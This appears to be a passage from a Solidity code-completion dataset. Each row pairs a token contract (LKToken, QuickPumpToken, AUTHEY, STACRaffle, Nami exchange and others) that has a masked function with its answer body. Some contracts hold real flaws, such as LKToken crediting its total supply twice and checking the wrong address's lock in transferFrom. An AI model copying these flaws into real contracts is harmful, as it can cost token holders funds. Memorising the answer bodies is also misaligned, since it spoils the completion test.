{
_migrateToken(_from, _to);
}
// migrate token for investor
function migrateForInvestor() public {
_migrateToken(msg.sender, msg.sender);
}
// Nami internal exchange
// event for Nami exchange
event TransferToBuyer(address indexed _from, address indexed _to, uint _value, address indexed _seller);
event TransferToExchange(address indexed _from, address indexed _to, uint _value, uint _price);
/**
* @dev Transfer the specified amount of tokens to the NamiExchange address.
* Invokes the `tokenFallbackExchange` function.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallbackExchange` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _price price to sell token.
*/
function transferToExchange(address _to, uint _value, uint _price) public {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender,_to,_value);
if (codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallbackExchange(msg.sender, _value, _price);
TransferToExchange(msg.sender, _to, _value, _price);
}
}
<FILL_FUNCTION>
//-------------------------------------------------------------------------------------------------------
} |
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender,_to,_value);
if (codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallbackBuyer(msg.sender, _value, _buyer);
TransferToBuyer(msg.sender, _to, _value, _buyer);
}
| function transferToBuyer(address _to, uint _value, address _buyer) public | /**
* @dev Transfer the specified amount of tokens to the NamiExchange address.
* Invokes the `tokenFallbackBuyer` function.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallbackBuyer` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _buyer address of seller.
*/
function transferToBuyer(address _to, uint _value, address _buyer) public |
38515 | ERC20Mintable | null | contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the {MinterRole}.
*/
constructor() internal {<FILL_FUNCTION_BODY> }
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
} | contract ERC20Mintable is ERC20, MinterRole {
<FILL_FUNCTION>
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
} |
_mint(msg.sender, 190000000000000000000000000);
| constructor() internal | /**
* @dev See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the {MinterRole}.
*/
constructor() internal |
74646 | STACRaffle | null | contract STACRaffle {
address tokeAddress = 0xDC5cc936595d71C3C40001F96868cdE92C41b21A;
ITOKE toke;
uint256 public totalStonedApeTickets = 0;
uint256 public totalFedApeTickets = 0;
uint256 public totalBurned = 0;
mapping(address => uint256) public stonedApeTicketAmounts;
mapping(address => uint256) public fedApeTicketAmounts;
address[] private stonedApeTicketAddresses;
address[] private fedApeTicketAddresses;
address[] private burners;
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "You are not allowed to use this function");
_;
}
constructor() {<FILL_FUNCTION_BODY> }
function burn(uint256 amount) external {
toke.burn(msg.sender, amount);
if(amount == 50000 ether) {
stonedApeTicketAmounts[msg.sender] += 1;
stonedApeTicketAddresses.push(msg.sender);
totalStonedApeTickets += 1;
if(stonedApeTicketAmounts[msg.sender] == 1 && fedApeTicketAmounts[msg.sender] == 0) {
burners.push(msg.sender);
}
}
if(amount == 250000 ether) {
fedApeTicketAmounts[msg.sender] += 1;
fedApeTicketAddresses.push(msg.sender);
totalFedApeTickets += 1;
if(fedApeTicketAmounts[msg.sender] == 1 && stonedApeTicketAmounts[msg.sender] == 0) {
burners.push(msg.sender);
}
}
totalBurned += amount;
}
function getStonedApeAddresses() public view returns (address [] memory) {
return stonedApeTicketAddresses;
}
function getFedApeAddresses() public view returns (address [] memory) {
return fedApeTicketAddresses;
}
function resetGame() external onlyOwner {
for(uint256 i = 0; i < burners.length; i++) {
stonedApeTicketAmounts[burners[i]] = 0;
fedApeTicketAmounts[burners[i]] = 0;
}
totalBurned = 0;
totalFedApeTickets = 0;
totalStonedApeTickets = 0;
delete fedApeTicketAddresses;
delete stonedApeTicketAddresses;
delete burners;
}
} | contract STACRaffle {
address tokeAddress = 0xDC5cc936595d71C3C40001F96868cdE92C41b21A;
ITOKE toke;
uint256 public totalStonedApeTickets = 0;
uint256 public totalFedApeTickets = 0;
uint256 public totalBurned = 0;
mapping(address => uint256) public stonedApeTicketAmounts;
mapping(address => uint256) public fedApeTicketAmounts;
address[] private stonedApeTicketAddresses;
address[] private fedApeTicketAddresses;
address[] private burners;
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "You are not allowed to use this function");
_;
}
<FILL_FUNCTION>
function burn(uint256 amount) external {
toke.burn(msg.sender, amount);
if(amount == 50000 ether) {
stonedApeTicketAmounts[msg.sender] += 1;
stonedApeTicketAddresses.push(msg.sender);
totalStonedApeTickets += 1;
if(stonedApeTicketAmounts[msg.sender] == 1 && fedApeTicketAmounts[msg.sender] == 0) {
burners.push(msg.sender);
}
}
if(amount == 250000 ether) {
fedApeTicketAmounts[msg.sender] += 1;
fedApeTicketAddresses.push(msg.sender);
totalFedApeTickets += 1;
if(fedApeTicketAmounts[msg.sender] == 1 && stonedApeTicketAmounts[msg.sender] == 0) {
burners.push(msg.sender);
}
}
totalBurned += amount;
}
function getStonedApeAddresses() public view returns (address [] memory) {
return stonedApeTicketAddresses;
}
function getFedApeAddresses() public view returns (address [] memory) {
return fedApeTicketAddresses;
}
function resetGame() external onlyOwner {
for(uint256 i = 0; i < burners.length; i++) {
stonedApeTicketAmounts[burners[i]] = 0;
fedApeTicketAmounts[burners[i]] = 0;
}
totalBurned = 0;
totalFedApeTickets = 0;
totalStonedApeTickets = 0;
delete fedApeTicketAddresses;
delete stonedApeTicketAddresses;
delete burners;
}
} |
owner = msg.sender;
toke = ITOKE(tokeAddress);
| constructor() | constructor() |
8781 | LKToken | getLockAmount | contract LKToken is StandardToken, Pausable {
string public constant name = "LK";
string public constant symbol = "LK";
uint256 public constant decimals = 18;
// lock
struct LockToken{
uint256 amount;
uint32 time;
}
struct LockTokenSet{
LockToken[] lockList;
}
mapping ( address => LockTokenSet ) addressTimeLock;
mapping ( address => bool ) lockAdminList;
event TransferWithLockEvt(address indexed from, address indexed to, uint256 value,uint32 lockTime );
/**
* @dev Creates a new MPKToken instance
*/
constructor() public {
totalSupply = 100 * (10 ** 8) * (10 ** 18);
balances[msg.sender] = totalSupply;
balances[0xBd21453fC62b730DDeBa9Fe22FbE7CfFcEDebeBd] = totalSupply;
setLockAdmin(0xBd21453fC62b730DDeBa9Fe22FbE7CfFcEDebeBd,true);
setLockAdmin(0x024ECdd4a23B47A5f0aE0EfC20F8d0509b1655B7,true);
emit Transfer(0, 0xBd21453fC62b730DDeBa9Fe22FbE7CfFcEDebeBd, totalSupply );
}
function transfer(address _to, uint256 _value)public whenNotPaused returns (bool) {
assert ( balances[msg.sender].sub( getLockAmount( msg.sender ) ) >= _value );
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)public whenNotPaused returns (bool) {
assert ( balances[_from].sub( getLockAmount( msg.sender ) ) >= _value );
return super.transferFrom(_from, _to, _value);
}
function getLockAmount( address myaddress ) public view returns ( uint256 lockSum ) {<FILL_FUNCTION_BODY> }
function getLockListLen( address myaddress ) public view returns ( uint256 lockAmount ){
return addressTimeLock[myaddress].lockList.length;
}
function getLockByIdx( address myaddress,uint32 idx ) public view returns ( uint256 lockAmount, uint32 lockTime ){
if( idx >= addressTimeLock[myaddress].lockList.length ){
return (0,0);
}
lockAmount = addressTimeLock[myaddress].lockList[idx].amount;
lockTime = addressTimeLock[myaddress].lockList[idx].time;
return ( lockAmount,lockTime );
}
function transferWithLock( address _to, uint256 _value,uint32 _lockTime )public whenNotPaused {
assert( lockAdminList[msg.sender] == true );
assert( _lockTime > now );
transfer( _to, _value );
bool needNewLock = true;
for( uint32 i = 0 ; i< addressTimeLock[_to].lockList.length; i ++ ){
if( addressTimeLock[_to].lockList[i].time < now ){
addressTimeLock[_to].lockList[i].time = _lockTime;
addressTimeLock[_to].lockList[i].amount = _value;
emit TransferWithLockEvt( msg.sender,_to,_value,_lockTime );
needNewLock = false;
break;
}
}
if( needNewLock == true ){
// add a lock
addressTimeLock[_to].lockList.length ++ ;
addressTimeLock[_to].lockList[(addressTimeLock[_to].lockList.length-1)].time = _lockTime;
addressTimeLock[_to].lockList[(addressTimeLock[_to].lockList.length-1)].amount = _value;
emit TransferWithLockEvt( msg.sender,_to,_value,_lockTime);
}
}
function setLockAdmin(address _to,bool canUse)public onlyOwner{
assert( lockAdminList[_to] != canUse );
lockAdminList[_to] = canUse;
}
function canUseLock() public view returns (bool){
return lockAdminList[msg.sender];
}
} | contract LKToken is StandardToken, Pausable {
string public constant name = "LK";
string public constant symbol = "LK";
uint256 public constant decimals = 18;
// lock
struct LockToken{
uint256 amount;
uint32 time;
}
struct LockTokenSet{
LockToken[] lockList;
}
mapping ( address => LockTokenSet ) addressTimeLock;
mapping ( address => bool ) lockAdminList;
event TransferWithLockEvt(address indexed from, address indexed to, uint256 value,uint32 lockTime );
/**
* @dev Creates a new MPKToken instance
*/
constructor() public {
totalSupply = 100 * (10 ** 8) * (10 ** 18);
balances[msg.sender] = totalSupply;
balances[0xBd21453fC62b730DDeBa9Fe22FbE7CfFcEDebeBd] = totalSupply;
setLockAdmin(0xBd21453fC62b730DDeBa9Fe22FbE7CfFcEDebeBd,true);
setLockAdmin(0x024ECdd4a23B47A5f0aE0EfC20F8d0509b1655B7,true);
emit Transfer(0, 0xBd21453fC62b730DDeBa9Fe22FbE7CfFcEDebeBd, totalSupply );
}
function transfer(address _to, uint256 _value)public whenNotPaused returns (bool) {
assert ( balances[msg.sender].sub( getLockAmount( msg.sender ) ) >= _value );
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)public whenNotPaused returns (bool) {
assert ( balances[_from].sub( getLockAmount( msg.sender ) ) >= _value );
return super.transferFrom(_from, _to, _value);
}
<FILL_FUNCTION>
function getLockListLen( address myaddress ) public view returns ( uint256 lockAmount ){
return addressTimeLock[myaddress].lockList.length;
}
function getLockByIdx( address myaddress,uint32 idx ) public view returns ( uint256 lockAmount, uint32 lockTime ){
if( idx >= addressTimeLock[myaddress].lockList.length ){
return (0,0);
}
lockAmount = addressTimeLock[myaddress].lockList[idx].amount;
lockTime = addressTimeLock[myaddress].lockList[idx].time;
return ( lockAmount,lockTime );
}
function transferWithLock( address _to, uint256 _value,uint32 _lockTime )public whenNotPaused {
assert( lockAdminList[msg.sender] == true );
assert( _lockTime > now );
transfer( _to, _value );
bool needNewLock = true;
for( uint32 i = 0 ; i< addressTimeLock[_to].lockList.length; i ++ ){
if( addressTimeLock[_to].lockList[i].time < now ){
addressTimeLock[_to].lockList[i].time = _lockTime;
addressTimeLock[_to].lockList[i].amount = _value;
emit TransferWithLockEvt( msg.sender,_to,_value,_lockTime );
needNewLock = false;
break;
}
}
if( needNewLock == true ){
// add a lock
addressTimeLock[_to].lockList.length ++ ;
addressTimeLock[_to].lockList[(addressTimeLock[_to].lockList.length-1)].time = _lockTime;
addressTimeLock[_to].lockList[(addressTimeLock[_to].lockList.length-1)].amount = _value;
emit TransferWithLockEvt( msg.sender,_to,_value,_lockTime);
}
}
function setLockAdmin(address _to,bool canUse)public onlyOwner{
assert( lockAdminList[_to] != canUse );
lockAdminList[_to] = canUse;
}
function canUseLock() public view returns (bool){
return lockAdminList[msg.sender];
}
} |
uint256 lockAmount = 0;
for( uint32 i = 0; i < addressTimeLock[myaddress].lockList.length; i ++ ){
if( addressTimeLock[myaddress].lockList[i].time > now ){
lockAmount += addressTimeLock[myaddress].lockList[i].amount;
}
}
return lockAmount;
| function getLockAmount( address myaddress ) public view returns ( uint256 lockSum ) | function getLockAmount( address myaddress ) public view returns ( uint256 lockSum ) |
65542 | QuickPumpToken | buyTokens | contract QuickPumpToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public RATE;
uint public DENOMINATOR;
bool public isStopped = false;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event ChangeRate(uint256 amount);
modifier onlyWhenRunning {
require(!isStopped);
_;
}
constructor() public {
symbol = "QPT";
name = "QuickPumpToken";
decimals = 18;
_totalSupply = 500 * 10**uint(decimals);
balances[owner] = _totalSupply;
RATE = 5;
DENOMINATOR = 1;
emit Transfer(address(0), owner, _totalSupply);
}
function() public payable {
buyTokens();
}
function buyTokens() onlyWhenRunning public payable {<FILL_FUNCTION_BODY> }
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != address(0));
require(tokens > 0);
require(balances[msg.sender] >= tokens);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
require(spender != address(0));
require(tokens > 0);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(from != address(0));
require(to != address(0));
require(tokens > 0);
require(balances[from] >= tokens);
require(allowed[from][msg.sender] >= tokens);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(_spender != address(0));
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function changeRate(uint256 _rate) public onlyOwner {
require(_rate > 0);
RATE =_rate;
emit ChangeRate(_rate);
}
} | contract QuickPumpToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public RATE;
uint public DENOMINATOR;
bool public isStopped = false;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event ChangeRate(uint256 amount);
modifier onlyWhenRunning {
require(!isStopped);
_;
}
constructor() public {
symbol = "QPT";
name = "QuickPumpToken";
decimals = 18;
_totalSupply = 500 * 10**uint(decimals);
balances[owner] = _totalSupply;
RATE = 5;
DENOMINATOR = 1;
emit Transfer(address(0), owner, _totalSupply);
}
function() public payable {
buyTokens();
}
<FILL_FUNCTION>
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != address(0));
require(tokens > 0);
require(balances[msg.sender] >= tokens);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
require(spender != address(0));
require(tokens > 0);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(from != address(0));
require(to != address(0));
require(tokens > 0);
require(balances[from] >= tokens);
require(allowed[from][msg.sender] >= tokens);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(_spender != address(0));
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function changeRate(uint256 _rate) public onlyOwner {
require(_rate > 0);
RATE =_rate;
emit ChangeRate(_rate);
}
} |
require(msg.value > 0);
uint tokens = msg.value.mul(RATE).div(DENOMINATOR);
require(balances[owner] >= tokens);
balances[msg.sender] = balances[msg.sender].add(tokens);
balances[owner] = balances[owner].sub(tokens);
emit Transfer(owner, msg.sender, tokens);
owner.transfer(msg.value);
| function buyTokens() onlyWhenRunning public payable | function buyTokens() onlyWhenRunning public payable |
58365 | AUTHEY | transfer | contract AUTHEY is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "AUTHEY";
string public constant symbol = "AUTH";
uint public constant decimals = 18;
uint public deadline = now + 37 * 1 days;
uint public round2 = now + 32 * 1 days;
uint public round1 = now + 22 * 1 days;
uint256 public totalSupply = 40000000000e18;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 200; // 0.005 Ether
uint256 public tokensPerEth = 10000000e18;
uint public target0drop = 1000;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0x9990e0fD09274f1Ff7b43175b0Ee917071Ef5d01
;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 10000000000e18;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 5 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 20 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 35 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 20 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 35 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 2000e18;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {<FILL_FUNCTION_BODY> }
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | contract AUTHEY is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "AUTHEY";
string public constant symbol = "AUTH";
uint public constant decimals = 18;
uint public deadline = now + 37 * 1 days;
uint public round2 = now + 32 * 1 days;
uint public round1 = now + 22 * 1 days;
uint256 public totalSupply = 40000000000e18;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 200; // 0.005 Ether
uint256 public tokensPerEth = 10000000e18;
uint public target0drop = 1000;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0x9990e0fD09274f1Ff7b43175b0Ee917071Ef5d01
;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 10000000000e18;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 5 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 20 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 35 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 20 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 35 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 2000e18;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
<FILL_FUNCTION>
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} |
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
| function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) | function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) |
8979 | Authorization | assignOperator | contract Authorization {
mapping(address => bool) internal authbook;
address[] public operators;
address public owner;
bool public powerStatus = true;
function Authorization()
public
payable
{
owner = msg.sender;
assignOperator(msg.sender);
}
modifier onlyOwner
{
assert(msg.sender == owner);
_;
}
modifier onlyOperator
{
assert(checkOperator(msg.sender));
_;
}
modifier onlyActive
{
assert(powerStatus);
_;
}
function powerSwitch(
bool onOff_
)
public
